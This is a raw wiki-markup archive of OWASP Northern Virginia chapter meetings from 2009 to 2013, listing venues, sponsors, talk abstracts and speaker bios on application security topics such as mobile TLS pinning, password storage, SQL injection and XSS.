'''Registration:''' [http://www.meetup.com/OWASP-Northern-Virginia-Chapter/events/101839862/ Meetup]&lt;br /&gt;
&lt;br /&gt;
'''AGENDA:''' &lt;br /&gt;
 * News / Updates&lt;br /&gt;
 * Talk: Jeffrey Walton - &amp;quot;Securing Wireless Channels in the Mobile Space&amp;quot;, [[Media:Securing-Wireless-Channels-in-the-Mobile-Space.ppt|Presentation Slides]]&lt;br /&gt;
 * Firetalks!&lt;br /&gt;
&lt;br /&gt;
'''Presentation Title:'''&lt;br /&gt;
Securing Wireless Channels in the Mobile Space&lt;br /&gt;
&lt;br /&gt;
'''Abstract:'''&lt;br /&gt;
Secure channels are a cornerstone to individuals and employees on the go. The mobile environment adds additional pressures to securely delivering content to users - irregardless of whether its an email service delivering personal messages to a user, an organization providing company secrets to a mobile workforce, or a content provider streaming protected media to a subscriber. This talk will discuss the mobile environment, challenges to securely delivering content, examine past failures, offer remediation for issues in the environment, provide sample code for Android, iOS, .Net, OpenSSL, and discuss initiatives to address known issues.&lt;br /&gt;
&lt;br /&gt;
'''Speaker Bio:'''&lt;br /&gt;
Jeff has nearly 15 years of experience in a variety of roles including Systems Engineer, System Administrator, Developer, Security Engineer and Security Architect. He has worked with a number of Federal agencies and private institutions, including the Treasury Department, Social Security Administration, State Department, Diplomatic Security Service, financial institutions, and defense contractors. He has designed mobile solutions; developed secure containers; implemented secure channels; integrated management functions such as password lockouts and remote wipes; performed code reviews; and integrated security libraries such as Microsoft CAPI, Certicom Security Builder, OpenSSL and Crypto++. Jeff has also overseen and performed certification and accreditation audits, secure code reviews, and architectural risk assessments on traditional and mobile systems of varying code base sizes (primarily Objective C, C/C++ with Java, .Net).&lt;br /&gt;
&lt;br /&gt;
'''Downloads:'''&lt;br /&gt;
[[Media:Securing-Wireless-Channels-in-the-Mobile-Space.ppt|Presentation Slides]], [[Media:pubkey-pin-supplement.pdf|Supplement with code excerpts]], [[Media:pubkey-pin-android.zip|Android sample program]], [[Media:pubkey-pin-ios.zip|iOS sample program]], [[Media:pubkey-pin-dotnet.zip|.Net sample program]], [[Media:pubkey-pin-openssl.zip|OpenSSL sample program]]&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
===January 2013===&lt;br /&gt;
'''Date/Time:''' January 10th, 2013 @ 6:30pm &lt;br /&gt;
&lt;br /&gt;
'''Location:''' [http://corporate.livingsocial.com/home LivingSocial], 11600 Sunrise Valley Drive, Reston, VA&lt;br /&gt;
&lt;br /&gt;
'''Registration:''' [http://www.eventbrite.com/event/5106285036 Eventbrite]&lt;br /&gt;
&lt;br /&gt;
'''AGENDA:''' &lt;br /&gt;
 * News / Updates&lt;br /&gt;
 * Upcoming chapter elections and 2013 plans&lt;br /&gt;
 * Talk: &amp;quot;Automating (Some) Android Security Testing&amp;quot;&lt;br /&gt;
 * Firetalks!&lt;br /&gt;
&lt;br /&gt;
'''Presentation Title:'''&lt;br /&gt;
Automating (Some) Android Security Testing&lt;br /&gt;
&lt;br /&gt;
'''Abstract:'''&lt;br /&gt;
Dynamically assessing an Android application for security issues requires examining many different layers. Some areas are extremely feasible to automate, while some areas may lend themselves better to manual analysis or semi-automated analysis. This presentation will present a more semi-automated approach to assessing applications rather than 'fire and forget' testing. We'll also look at some of the prerequisites for performing Android testing as well as some of the essentials for things you'll want in your testing environment (such as coffee and Red Bull).&lt;br /&gt;
&lt;br /&gt;
'''Speaker Bio:'''&lt;br /&gt;
[https://www.owasp.org/index.php/User:Jack_Mannino Jack Mannino]&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
===October 2012===&lt;br /&gt;
'''Date/Time:''' October 4th, 2012 @ 6:30pm &lt;br /&gt;
&lt;br /&gt;
'''Location:''' [http://corporate.livingsocial.com/home LivingSocial], 11600 Sunrise Valley Drive, Reston, VA&lt;br /&gt;
&lt;br /&gt;
'''Registration:''' [http://www.eventbrite.com/event/4430947082 Eventbrite]&lt;br /&gt;
&lt;br /&gt;
'''AGENDA:''' &lt;br /&gt;
 * News / Updates&lt;br /&gt;
 * Talk: [https://www.owasp.org/index.php/Dan_Cornell Dan Cornell] - &amp;quot;Benchmarking Web Application Scanners for YOUR Organization&amp;quot;, [https://www.owasp.org/images/7/73/OWASP_BenchmarkingWebApplicationScannersForYourOrganization_Content-1.pptx Presentation Slides]&lt;br /&gt;
 * Firetalks!&lt;br /&gt;
&lt;br /&gt;
'''Presentation Title:'''&lt;br /&gt;
Benchmarking Web Application Scanners for YOUR Organization&lt;br /&gt;
&lt;br /&gt;
'''Abstract:'''&lt;br /&gt;
Web applications pose significant risks for organizations. The selection of an appropriate scanning product or service can be challenging because every organization develops their web applications differently and decisions made by developers can cause wide swings in the value of different scanning technologies. To make a solid, informed decision, organizations need to create development team- and organization-specific benchmarks for the effectiveness of potential scanning technologies. This involves creating a comprehensive model of false positives, false negatives and other factors prior to mandating analysis technologies and making decisions about application risk management. This presentation provides a model for evaluating application analysis technologies, introduces an open source tool for benchmarking and comparing tool effectiveness, and outlines a process for making organization-specific decisions about analysis technology selection.&lt;br /&gt;
&lt;br /&gt;
'''Speaker Bio:'''&lt;br /&gt;
Dan Cornell has over 15 years experience architecting and developing web-based software systems. As CTO, he leads Denim Group's security research team in investigating the application of secure coding and development techniques to improve web-based software development methodologies. He also heads the Denim Group security research team, investigating the application of secure coding and development techniques to the improvement of web-based software development methodologies. Dan currently serves as the OWASP San Antonio chapter leader, member of the OWASP Global Membership Committee and co-lead of the OWASP Open Review Project. Dan has spoken at numerous security conferences, such as RSA in San Francisco, OWASP EU Research in Athens and OWASP AppSec USA in Minneapolis.&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
=== July 2012 ===&lt;br /&gt;
'''Date/Time:''' July 12th, 2012 @ 6:30pm &lt;br /&gt;
&lt;br /&gt;
'''Location Sponsor:''' [http://corporate.livingsocial.com/home LivingSocial], 11600 Sunrise Valley Drive, Reston, VA&lt;br /&gt;
&lt;br /&gt;
'''AGENDA:''' &lt;br /&gt;
 * News / Updates&lt;br /&gt;
 * Talk: [https://www.owasp.org/index.php/John_Steven| John Steven] - &amp;quot;Password Storage Security&amp;quot;&lt;br /&gt;
 * Firetalks!&lt;br /&gt;
&lt;br /&gt;
'''Presentation Title:'''&lt;br /&gt;
&amp;quot;Password Storage Security&amp;quot; [[Media:PSM_-_Problem_Definition.pdf|Password Storage Security.pdf]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''Abstract:'''&lt;br /&gt;
During the June meeting we discussed the LinkedIn password theft which was just beginning its the news cycle. We'll use the July chapter meeting to discuss issues around password hashing and a solution. While wholly different schemes for protecting passwords at rest are preferable, it's instructive to look at hashing passwords as a threat modeling exercise and take the time to follow through to a fix. &lt;br /&gt;
&lt;br /&gt;
To read up on the issue, look at my latest blog post on the topic: [http://goo.gl/sGyi8|Justice League Blog - Securing Password Storage]&lt;br /&gt;
&lt;br /&gt;
For those who were sufficiently intrigued, mystified, or inspired by the presentation on password protection at the last chapter meeting, Coursera is offering a free 6-week Stanford course on cryptography that begins on August 27th (&amp;quot;Learn about the inner workings of cryptographic primitives and how to apply this knowledge in real-world applications!&amp;quot;): [https://www.coursera.org/course/crypto|Crypto Course] &lt;br /&gt;
&lt;br /&gt;
'''Speaker Bio:'''&lt;br /&gt;
&lt;br /&gt;
See  [https://www.owasp.org/index.php/John_Steven| John Steven Bio]&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
=== June 2012 ===&lt;br /&gt;
'''Date/Time:''' June 7th, 2012 @ 6:30pm &lt;br /&gt;
&lt;br /&gt;
'''Location Sponsor:''' [http://corporate.livingsocial.com/home LivingSocial], 11600 Sunrise Valley Drive, Reston, VA&lt;br /&gt;
&lt;br /&gt;
'''AGENDA:''' &lt;br /&gt;
 * News / Updates&lt;br /&gt;
 * Talk: Ken Johnson (LivingSocial) - &amp;quot;AppSec, Ritalin, and Failing Fast&amp;quot;&lt;br /&gt;
 * Firetalks!&lt;br /&gt;
&lt;br /&gt;
'''Presentation Title:'''&lt;br /&gt;
&amp;quot;AppSec, Ritalin, and Failing Fast&amp;quot; [https://www.owasp.org/images/e/e9/Ken_Johnson_July_2012.pptx AppSec, Ritalin, and Failing Fast Presentation] &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''Abstract:'''&lt;br /&gt;
In early April Ken Johnson and Matt Ahrens presented a high-level overview of building an Application Security program at LivingSocial. This talk will differ in that it will focus on the granular aspects involved with introducing security into an incredibly intense development environment. The discussion will be compromised of experiences in:&lt;br /&gt;
* Developing technical solutions to solving difficult challenges&lt;br /&gt;
* Remaining proactive with an increased workload&lt;br /&gt;
* What it means to innovate&lt;br /&gt;
&lt;br /&gt;
'''Speaker Bio:'''&lt;br /&gt;
&lt;br /&gt;
Ken Johnson is the Application Security Manager for LivingSocial.com. Prior to joining LivingSocial.com, Ken worked in various application security consulting roles. Ken is the primary developer of the Web Exploitation Framework (wXf) and enjoys contributing to other open source projects as often as time permits. Ken has spoken at AppSec DC 2010 &amp;amp; 2012, OWASP DC and Phoenix chapters and is a member of the Attack Research Team.&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
=== May 2012 ===&lt;br /&gt;
'''Date/Time:''' May 3rd, 2012 @ 6pm &lt;br /&gt;
&lt;br /&gt;
'''Location Sponsor:''' [http://corporate.livingsocial.com/home Living Social], 11600 Sunrise Valley Drive, Reston, VA&lt;br /&gt;
&lt;br /&gt;
'''AGENDA:''' &lt;br /&gt;
 * News / Updates&lt;br /&gt;
 * &amp;quot;Chill Out&amp;quot; conversations (formal talked pushed back due to logistical issues)&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
=== April 2012 ===&lt;br /&gt;
'''Date/Time:''' April 16th, 2012 @ 6pm &lt;br /&gt;
&lt;br /&gt;
'''Location Sponsor:''' [http://corporate.livingsocial.com/home Living Social], 11600 Sunrise Valley Drive, Reston, VA&lt;br /&gt;
&lt;br /&gt;
'''Food Sponsor:''' Jeremy Long - jeremy.long[at]owasp.org&lt;br /&gt;
&lt;br /&gt;
'''AGENDA:''' &lt;br /&gt;
 * News / Updates&lt;br /&gt;
 * Talk: &amp;quot;Malicious Code Detection or BRIC Breaking Through Static Analysis&amp;quot; by Masha Khainson (Cigital)&lt;br /&gt;
 * Firetalks!&lt;br /&gt;
 * ISSA NoVA Social @Champps!  :)&lt;br /&gt;
&lt;br /&gt;
'''Presentation Title:''' &amp;quot;Malicious Code Detection or BRIC Breaking Through Static Analysis&amp;quot;&lt;br /&gt;
&lt;br /&gt;
'''Abstract:'''&lt;br /&gt;
Malicious Code Detection or BRIC Breaking Through Static Analysis: As organizations outsource development to less trustworthy providers malware becomes as much a problem as introduction of honest vulnerability by one's own development shop. Assessment practices currently look for vulnerability within source code and a running systems but these are but a few of windows of opportunity for malware introduction. This presentation demonstrates an approach for augmenting an existing security practice with the capability to detect potentially malicious code through secure code review. First, we show how to break malicious intent--often quite subtle--into concrete patterns we can reliably detect. The framework then demonstrates how to build suspicion around reliance of particular patterns' use in concert which, increasingly, imply malicious intent. These techniques will be explained through a demonstration in a real world application.&lt;br /&gt;
&lt;br /&gt;
'''Bio'''&lt;br /&gt;
Masha (a.k.a Marina) has dreamed of becoming a security consultant before she ever knew what a ballerina was, and that's a good thing - because she does not intend her talk to be a ballet recital. Having been in software security for over seven years, Ms. Khainson has delivered Architecture Risk Assessment, Secure Code Review, and Ethical Hacking on many architectures, platforms and technologies. Marina has also developed training materials for clients and led remediation assistance teams.&lt;br /&gt;
&lt;br /&gt;
Prior to joining Cigital, Marina was a member of a research team at a leading security research provider, where using disassembly as well as protocol and source code analysis, she provided key information on newly released vulnerabilities. Before that, Marina assisted the same research team in producing detailed reports on critical malware and spyware threats, as well as developing and testing content for network security devices from some of the top providers of intrusion detection and prevention technologies.&lt;br /&gt;
&lt;br /&gt;
Download: [[Media:MCD-OWASPNoVA.pdf|Malicious Code Detection or BRIC Breaking Through Static Analysis]]&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
=== November 2011 ===&lt;br /&gt;
'''Date/Time:''' November 3rd, 2011 @ 6pm &lt;br /&gt;
&lt;br /&gt;
'''Location Sponsor:''' [http://www.qinetiq.com/ QinetiQ], 2677 Prosperity Ave Fairfax, VA 22031&lt;br /&gt;
&lt;br /&gt;
'''AGENDA:''' &lt;br /&gt;
 # News / Updates&lt;br /&gt;
 # Talk: &amp;quot;Lessons Learned from the SQL Injection Challenge&amp;quot; by Ryan Barnett (Trustwave SpiderLabs)&lt;br /&gt;
 # Firetalks! :)&lt;br /&gt;
&lt;br /&gt;
'''Presentation Title:''' &amp;quot;Lessons Learned from the SQL Injection Challenge&amp;quot;&lt;br /&gt;
&lt;br /&gt;
'''Abstract:'''&lt;br /&gt;
How effective are blacklist filters vs. SQL Injection attacks?  What is the failure rate vs. automated scanning or manual testing?  Are there any &amp;quot;Time-to-Bypass&amp;quot; metrics?  In an attempt to answer these questions, Trustwave SpiderLabs' Research Team (the development team behind the ModSecurity WAF and the OWASP ModSecurity Core Rule Set) held a community &amp;quot;SQL Injection Challenge&amp;quot; to test the effectiveness of the OWASP ModSecurity Core Rule Set protections.  This presentation will provide an overview of the challenge, a step-by-step walk-through of the bypass tactics used by the winners, as well as, present a new approach to attack detection using ModSecurity's Lua API to perform Bayesian analysis.&lt;br /&gt;
&lt;br /&gt;
'''Speaker Bio:'''&lt;br /&gt;
[mailto:ryan.barnett@owasp.org Ryan C. Barnett] (Twitter: [http://twitter.com/#!/ryancbarnett @ryancbarnett]) is a senior security researcher on Trustwave's SpiderLabs Team. He is a SANS Institute certified instructor and a member of both the Top 20 Vulnerabilities and CWE/SANS Top 25 Most Dangerous Programming Errors teams. In addition to working with SANS, he is also a WASC Member where he leads the Web Hacking Incidents Database (WHID) and Distributed Web Honeypots Projects and is also the OWASP ModSecurity Core Rule Set (CRS) project leader. Mr. Barnett has also authored a Web security book for Addison/Wesley Publishing entitled &amp;quot;Preventing Web Attacks with Apache&amp;quot;.&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
=== October 2011 ===&lt;br /&gt;
'''Date/Time:''' October 6th, 2011 @ 6pm &lt;br /&gt;
&lt;br /&gt;
'''Location/Food Sponsor:''' [http://www.cigital.com/ Cigital], 21351 Ridgetop Circle, Suite 400, Sterling, VA 20166 &lt;br /&gt;
&lt;br /&gt;
'''AGENDA:'''&lt;br /&gt;
 * News / Updates&lt;br /&gt;
 * AppSec USA 2011 Recap&lt;br /&gt;
 * Talk: Jack Mannino: [http://www.slideshare.net/JackMannino/owasp-top-10-mobile-risks &amp;quot;OWASP Top 10 Mobile Risks&amp;quot;]&lt;br /&gt;
 * Firetalks! :)&lt;br /&gt;
&lt;br /&gt;
=== September 2011 ===&lt;br /&gt;
&lt;br /&gt;
The September meeting was cancelled due to inclement weather (flash flooding).&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
=== August 2011  ===&lt;br /&gt;
&lt;br /&gt;
We held a &amp;quot;social&amp;quot; event at Sweetwater Tavern in Sterling, VA. &lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
=== July 2011  ===&lt;br /&gt;
&lt;br /&gt;
'''Date/Time:''' July 7th, 2011 @ 6pm&amp;lt;br&amp;gt; '''Location Sponsor:''' [http://www.cigital.com Cigital], Suite 400 21351 Ridgetop Circle, Dulles, VA, 20166&amp;lt;br&amp;gt; '''Food Sponsor:'''&amp;lt;br&amp;gt; '''AGENDA:''' &lt;br /&gt;
&lt;br /&gt;
 * News / Updates&lt;br /&gt;
 * Topic of the Month: iGoat - Ken Van Wyk&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
=== June 2011  ===&lt;br /&gt;
&lt;br /&gt;
'''Date/Time:''' June 9th, 2011 @ 6pm (*Note: 2nd Thursday of June!)&amp;lt;br&amp;gt; '''Location Sponsor:''' [http://about.collegeboard.org/ The College Board], 11955 Democracy Drive Reston, VA 20190&amp;lt;br&amp;gt; '''Food Sponsor:''' The College Board&amp;lt;br&amp;gt; '''AGENDA:''' &lt;br /&gt;
&lt;br /&gt;
 * News / Updates&lt;br /&gt;
 * Topic of the Month: [https://www.owasp.org/index.php/Top_10_2010-A4 A4 &amp;quot;Insecure Direct Object References&amp;quot;]&lt;br /&gt;
 * College Board Speaker: &amp;quot;Attack-in-Depth:  Exploits of the OWASP Top Ten in Action&amp;quot;&lt;br /&gt;
 * Firetalks! :)&lt;br /&gt;
 - Jack Mannino: &amp;quot;Android Security 101&amp;quot;&lt;br /&gt;
 - Others!&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
=== May 2011  ===&lt;br /&gt;
&lt;br /&gt;
'''Date/Time:''' Cinco de Mayo (May 5th), 2011 @ 6pm &amp;lt;br&amp;gt; '''Location Sponsor:''' [http://www.akamai.com/ Akamai], 11111 Sunset Hills Dr, Suite 250, Reston, VA 20190&amp;lt;br&amp;gt; '''Food Sponsor:''' Akamai&amp;lt;br&amp;gt; '''AGENDA:''' &lt;br /&gt;
&lt;br /&gt;
 * News / Updates&lt;br /&gt;
 * 2011 Election (voice vote on the entire slate)&lt;br /&gt;
 * Topic of the Month: [http://www.owasp.org/index.php/Top_10_2010-A3 A3 &amp;quot;Broken Authentication and Session Management&amp;quot;]&lt;br /&gt;
 * Speaker: Steve Witmer on A3 from the &amp;quot;breakers&amp;quot; perspective&lt;br /&gt;
 * Speaker: ??? on A3 from the &amp;quot;fixers/defenders&amp;quot; perspective&lt;br /&gt;
 * Firetalks! :)&lt;br /&gt;
 * '''Update:''' All election candidates were elected by voice vote. &lt;br /&gt;
    * Please see: [https://docs.google.com/document/d/1h8GTqsWg2xiTwWAWS-Ra6_GU4eJGt44aa1hFc9EQloU/edit?hl=en_US&amp;amp;authkey=CIS9zFM '11 Chapter Board Election Material]&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
=== April 2011  ===&lt;br /&gt;
&lt;br /&gt;
'''Date/Time:''' April 7, 2011 @ 6pm &amp;lt;br&amp;gt; '''Location Sponsor:''' [http://www.reversespace.com/ ReverseSpace], 13505 Dulles Technology Dr, Suite 3, Herndon, VA 20171 &amp;lt;br&amp;gt; '''Food Sponsor:''' [https://www.cigital.com Cigital]&amp;lt;br&amp;gt; '''AGENDA:''' &lt;br /&gt;
&lt;br /&gt;
 * News / Updates&lt;br /&gt;
 * 2011 Election&lt;br /&gt;
 * Topic of the Month: [http://www.owasp.org/index.php/Top_10_2010-A2 A2 &amp;quot;Cross-Site Scripting (XSS)&amp;quot;]&lt;br /&gt;
 * Preso:&amp;quot;Cross-Site Scripting is Not Your Friend: XSS and the Facebook Platform&amp;quot; by Joey Tyson ([https://www.owasp.org/images/9/92/Xssnotfriend-edited.pptx PPTX] or [https://www.owasp.org/images/0/06/Xssnotfriend-edited.pdf PDF])&lt;br /&gt;
 * Preso:“XSS Remediation” by Cassia Martin ([https://www.owasp.org/images/6/66/XSS_Remediation.ppt PPT])&lt;br /&gt;
 * Preso:&amp;quot;Growing the secure application developer community through expanded curricula&amp;quot; by Tony Gottlieb&lt;br /&gt;
 * FireTalks (bring it!)&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
=== March 2011  ===&lt;br /&gt;
&lt;br /&gt;
'''Date/Time:''' March 3, 2011 @ 6pm &amp;lt;br&amp;gt; '''Location Sponsor:''' [http://www.boozallen.com/ Booz Allen Hamilton], 13200 Woodland Park Road, Herndon, VA 20171 &amp;lt;br&amp;gt; '''AGENDA:''' &lt;br /&gt;
&lt;br /&gt;
  * News / Updates&lt;br /&gt;
  * [http://www.owasp.org/index.php/OWASP_Summit_2011 OWASP Summit 2011] In Review&lt;br /&gt;
  * Preso: [http://www.owasp.org/index.php/Top_10_2010-A1-Injection A1 &amp;quot;Injection&amp;quot;]&lt;br /&gt;
  * Briefing: Training/Preso Plan for the Year&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
=== February 2011  ===&lt;br /&gt;
&lt;br /&gt;
'''Date/Time:''' February 3, 2011 @ 6pm&amp;lt;br&amp;gt; '''Location Sponsor:''' [http://www.akamai.com/ Akamai], 11111 Sunset HIlls Dr, Suite 250, Reston, VA 20190&amp;lt;br&amp;gt; '''AGENDA:''' &lt;br /&gt;
&lt;br /&gt;
  * News / Updates&lt;br /&gt;
  * Feedback for [http://www.owasp.org/index.php/OWASP_Summit_2011 OWASP Summit 2011]&lt;br /&gt;
  * Preso: Intro to [http://www.owasp.org/index.php/Category:OWASP_Top_Ten_Project OWASP Top 10] + 2&lt;br /&gt;
  * Briefing: Training/Preso Plan for the Year&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
=== December 2010  ===&lt;br /&gt;
&lt;br /&gt;
'''Date/Time:''' December 2, 2010 @ 6pm&amp;lt;br&amp;gt; '''Location Sponsor:''' [http://hackerspaces.org/wiki/Reverse_Space ReverseSpace], 13505 Dulles Technology Drive, Herndon, VA&amp;lt;br&amp;gt; '''AGENDA:''' &lt;br /&gt;
&lt;br /&gt;
   * 2011 Planning Session (Schedule, Volunteers, Speakers, Topics)&lt;br /&gt;
  * Lightning Talks!! (Bring an idea, a question, a topic, whatever - 5-10 minute talks max!)&lt;br /&gt;
  * Social / Networking (BYOB!)&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
=== November 2010  ===&lt;br /&gt;
&lt;br /&gt;
'''Date/Time:''' November 4, 2010 @ 6pm&amp;lt;br&amp;gt; '''Location Sponsor:''' Akamai, 11111 Sunset Hills Rd, Suite #250, Reston, VA&amp;lt;br&amp;gt; '''Speaker:''' Ben Tomhave&amp;lt;br&amp;gt; '''Title:''' The Unintended Consequences of Beating Users with Carrot Sticks: Radical Thoughts on Security Reform&amp;lt;br&amp;gt; '''Description:''' What we're doing today is not working and isn't sustainable. The fundamental culture of the average business does not encourage making good security decisions. Software shops continue to focus on functionality and timelines, neglecting information security. In spite of regulations like PCI and HIPAA+HITECH, which are levying fines against organizations for their security failures, the tipping point has clearly not been reached to cause meaningful change. Much of this problem can be attributed to the excessive use of negative incentives (sticks) instead of providing positive incentives (carrots) that inspire better decision making and motivate true change. Fortunately, it's not too late to change tactics and start achieving demonstrable success.&amp;lt;br&amp;gt; '''Speaker Bio:''' Ben Tomhave is a Senior Security Analyst with Gemini Security Solutions in Chantilly, VA, specializing in solutions architecture, security planning, program development and management, and other strategic security solutions. He holds a MS in Engineering Management with an Information Security Management concentration from The George Washington University and is a CISSP. &lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
=== June 2010  ===&lt;br /&gt;
&lt;br /&gt;
'''DATE''': Thursday, June 3rd, 6pm Eastern Daylight Time&amp;lt;br&amp;gt; '''LOCATION''': Booz Allen Hamilton - 13200 Woodland Park Road Herndon, VA 20171&amp;lt;br&amp;gt; '''SPEAKER''': Alex Hutton, Verizon Business and http://www.newschoolsecurity.com/&amp;lt;br&amp;gt; '''TOPIC''': Risk Management - Time to blow it up and start over?&amp;lt;br&amp;gt; &lt;br /&gt;
&lt;br /&gt;
'''DESCRIPTION''': &lt;br /&gt;
&lt;br /&gt;
A redux of the presentation that Alex delivered at B-Sides San Francisco during RSA 2010. &amp;quot;Now that the industry is trying to formalize the concept of risk management into neat little compartments like standards (ISO 27005/31000), certifications (CRISC) and products (GRC) guess what? We're doing it wrong. Fundamentally wrong. This talk will discuss why all this current risk management stuff is goofy and what sort of alternatives we have that might help us understand our ability to protect, our tendency towards failure, and how to match that up with what management will stomach.&amp;quot; &lt;br /&gt;
&lt;br /&gt;
Slides are available from: [http://www.slideshare.net/BSides/risk-management-time-to-blow-it-up-and-start-over-alex-hutton Risk Management - Time to blow it up and start over?]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;br&amp;gt; '''SPECIAL SPEAKER''': &lt;br /&gt;
&lt;br /&gt;
[http://twitter.com/tiffanyrad Tiffany Rad] provided an overview and update on [http://twitter.com/reversespace Reverse Space] in Herndon, VA. For more information, or to help out, please join the [http://groups.google.com/group/ReverseSpace Reverse Space Google Group]. &lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
=== May 2010  ===&lt;br /&gt;
&lt;br /&gt;
'''DATE''': Tuesday, May 18th, 6pm Eastern Daylight Time&amp;lt;br&amp;gt; '''LOCATION''': Booz Allen Hamilton - 13200 Woodland Park Road Herndon, VA 20171&amp;lt;br&amp;gt; '''SPEAKER'''': Jeff Ennis, Senior Solutions Architect, Veracode&amp;lt;br&amp;gt; '''TITLE''': State of Software Security ([[Media:State of Software Security-Ennis.ppsx.zip]])&lt;br /&gt;
'''DESCRIPTION''': &lt;br /&gt;
A discussion of the current state of software security based on the compiled findings by Veracode from the dynamic and static code analysis they have performed for customers. &lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
=== September 2009  ===&lt;br /&gt;
&lt;br /&gt;
'''DATE''': Thursday, September 17, 2009. 6:00pm Eastern Daylight Time&amp;lt;br&amp;gt; '''LOCATION''': 22260 Pacific blvd, Sterling, VA. 20166&amp;lt;br&amp;gt; '''TOPIC''': &amp;quot;Fortify 360&amp;quot;&amp;lt;br&amp;gt; '''SPEAKER''': Erik Klein (Fortify Software), Eric Dalci (Cigital)&amp;lt;br&amp;gt; '''DESCRIPTION''': &lt;br /&gt;
&lt;br /&gt;
We're pleased to invite you to our next week's OWASP Session (Thursday September 17th). We will be hosting a presentation, demo and hands on session of Fortify 360 (http://www.fortify.com). Fortify 360 includes Fortify SCA (Source Code Analyzer) and the Fortify 360 Server which is Fortify's solution for an enterprise deployment of SCA. The session will start with a presentation by Fortify engineers, followed by a demo and finally a hands on session where the audience will be free to install Fortify SCA on the machine and try it the SCA tool on a sample application that we will provide. The audience will also be introduced with the Fortify 360 Server and try some of the enterprise level features such as collaborative code review, metrics and so on. Bring your laptop if you want to try Fortify 360! &lt;br /&gt;
&lt;br /&gt;
The target audience is anyone interested in Secure Code Review with a Static Analysis tool at the desktop level and/or enterprise level. We will need to register visitors before hand...please email wade.woolwine@owasp.org for registration and confirm attendance. Pizza and refreshments will be served. &lt;br /&gt;
&lt;br /&gt;
'''DATE''': Thursday, September 3, 2009. 6:00pm.&amp;lt;br&amp;gt; '''LOCATION''': 13200 Woodland Park Road Herndon, VA 20171&amp;lt;br&amp;gt; '''TOPIC''': &amp;quot;Conducting Application Assessment&amp;quot;&amp;lt;br&amp;gt; '''SPEAKER''': Jeremy Epstein, SRI&amp;lt;br&amp;gt; '''DESCRIPTION''': &lt;br /&gt;
&lt;br /&gt;
After the 2000 election, many states launched headlong into electronic voting systems to avoid the problems with &amp;quot;hanging chads&amp;quot;. Once problems with those systems started appearing, many localities started moving to optical scan, which was used by a majority of US voters in the 2008 election. There are other technologies in use around the country, including lever machines, vote-by-mail, vote-by-phone, and Internet voting. What are the tradeoffs among these technologies? Particularly relevant to OWASP, what are the security issues associated with different types of equipment, and what measures do vendors of voting equipment use to try to address the security problems? Are software security problems important, or can non-technical measures protect against them? In this talk, we'll discuss a wide variety of voting technologies, and their pros and cons from both a technical and societal perspective. &lt;br /&gt;
&lt;br /&gt;
'''ABOUT THE SPEAKER''': &lt;br /&gt;
&lt;br /&gt;
Jeremy Epstein is Senior Computer Scientist at SRI International. His background includes more than 20 years experience in computer security research, product development, and consulting. Prior to joining SRI International, he was Principal Consultant with Cigital, and before that spent nine years as Senior Director of Product Security at Software AG, an international business software company. Within the area of voting systems, Jeremy has been involved for over five years in voting technology and advocacy, both as an employee and as an independent consultant. &lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
=== July 2009  ===&lt;br /&gt;
&lt;br /&gt;
'''DATE''': July 9th 6pm-9pm EST&amp;lt;br&amp;gt; '''LOCATION''': 13200 Woodland Park Road Herndon, VA 20171&amp;lt;br&amp;gt; '''TOPIC''': &amp;quot;Ounce's 02&amp;quot;&amp;lt;br&amp;gt; '''SPEAKER(S)''': Dinis Cruz, OWASP, Ounce Labs.&amp;lt;br&amp;gt; '''DESCRIPTION''': So what is O2? &lt;br /&gt;
&lt;br /&gt;
Well in my mind O2 is a combination of advanced tools (Technology) which are designed to be used on a particular way (Process) by knowledgeable Individuals (People) &lt;br /&gt;
&lt;br /&gt;
Think about it as a Fighter Jet who is able to go very fast, has tons of controls, needs to be piloted by somebody who knows what they are doing and needs to have a purpose (i.e. mission). &lt;br /&gt;
&lt;br /&gt;
Basically what I did with O2 was to automate the workflow that I have when I'm engaged on a source-code security review. &lt;br /&gt;
&lt;br /&gt;
Now, here is the catch, this version is NOT for the faint-of-heart. I designed this to suit my needs, which although are the same as most other security consultants, have its own particularities :) &lt;br /&gt;
&lt;br /&gt;
The whole model of O2 development is based around the concept of automating a security consultant’s brain, so I basically ensure that the main O2 Developer (Dinis Cruz) has a very good understanding of the feature requirements of the targeted Security Consultant (Dinis Cruz) :) . And this proved (even to my surprise) spectacularly productive, since suddenly I (i.e. the security consultant) didn't had to wait months for new features to be added to its toolkit. If there was something that needed to be added, it would just be added in days or hours. &lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
=== June 2009  ===&lt;br /&gt;
&lt;br /&gt;
